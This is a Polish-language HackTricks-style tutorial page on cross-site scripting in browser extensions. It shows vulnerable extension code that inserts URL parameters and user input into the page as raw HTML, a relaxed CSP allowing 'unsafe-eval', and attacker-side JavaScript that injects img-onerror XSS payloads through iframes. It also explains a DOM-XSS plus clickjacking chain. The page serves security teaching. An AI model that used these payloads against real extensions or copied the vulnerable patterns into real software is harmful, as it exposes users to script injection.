105 lines
5.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BrowExt - Przykład XSS
{{#include ../../banners/hacktricks-training.md}}
## Cross-Site Scripting (XSS) przez Iframe
W tej konfiguracji implementowany jest **skrypt zawartości**, który instancjonuje Iframe, włączając URL z parametrami zapytania jako źródło Iframe:
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})
```
Strona HTML dostępna publicznie, **`message.html`**, jest zaprojektowana do dynamicznego dodawania treści do ciała dokumentu na podstawie parametrów w URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})
```
Złośliwy skrypt jest wykonywany na stronie przeciwnika, modyfikując parametr `content` źródła Iframe, aby wprowadzić **ładunek XSS**. Osiąga się to poprzez zaktualizowanie źródła Iframe, aby zawierało szkodliwy skrypt:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
document.querySelector("iframe").src = maliciousURL
}, 1000)
```
Zbyt liberalna polityka bezpieczeństwa treści, taka jak:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
pozwala na wykonanie JavaScript, co sprawia, że system jest podatny na ataki XSS.
Alternatywne podejście do wywołania XSS polega na utworzeniu elementu Iframe i ustawieniu jego źródła, aby zawierało szkodliwy skrypt jako parametr `content`:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-based XSS + ClickJacking
Ten przykład pochodzi z [oryginalnego opisu](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Główny problem wynika z podatności na Cross-site Scripting (XSS) opartej na DOM, znajdującej się w **`/html/bookmarks.html`**. Problemowy JavaScript, część **`bookmarks.js`**, jest szczegółowo opisany poniżej:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
Ten fragment pobiera **wartość** z pola wejściowego **`txtName`** i używa **konkatenacji łańcuchów do generowania HTML**, który następnie jest dodawany do DOM za pomocą funkcji `.append()` jQuery.
Zazwyczaj Polityka Bezpieczeństwa Treści (CSP) rozszerzenia Chrome zapobiegałaby takim lukom. Jednak z powodu **rozluźnienia CSP z unsafe-eval** oraz użycia metod manipulacji DOM jQuery (które wykorzystują [`globalEval()`](https://api.jquery.com/jquery.globaleval/) do przekazywania skryptów do [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) po wstawieniu do DOM), wykorzystanie jest nadal możliwe.
Chociaż ta luka jest istotna, jej wykorzystanie zazwyczaj zależy od interakcji użytkownika: odwiedzenia strony, wprowadzenia ładunku XSS i aktywacji przycisku „Dodaj”.
Aby wzmocnić tę lukę, wykorzystuje się wtórną lukę **clickjacking**. Manifest rozszerzenia Chrome pokazuje rozbudowaną politykę `web_accessible_resources`:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Należy zauważyć, że strona **`/html/bookmarks.html`** jest podatna na ramkowanie, a zatem wrażliwa na **clickjacking**. Ta podatność jest wykorzystywana do osadzenia strony w witrynie atakującego, nakładając na nią elementy DOM w celu wprowadzenia w błąd interfejsu. Ta manipulacja prowadzi ofiary do niezamierzonego interakcji z podstawową rozszerzeniem.
## References
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}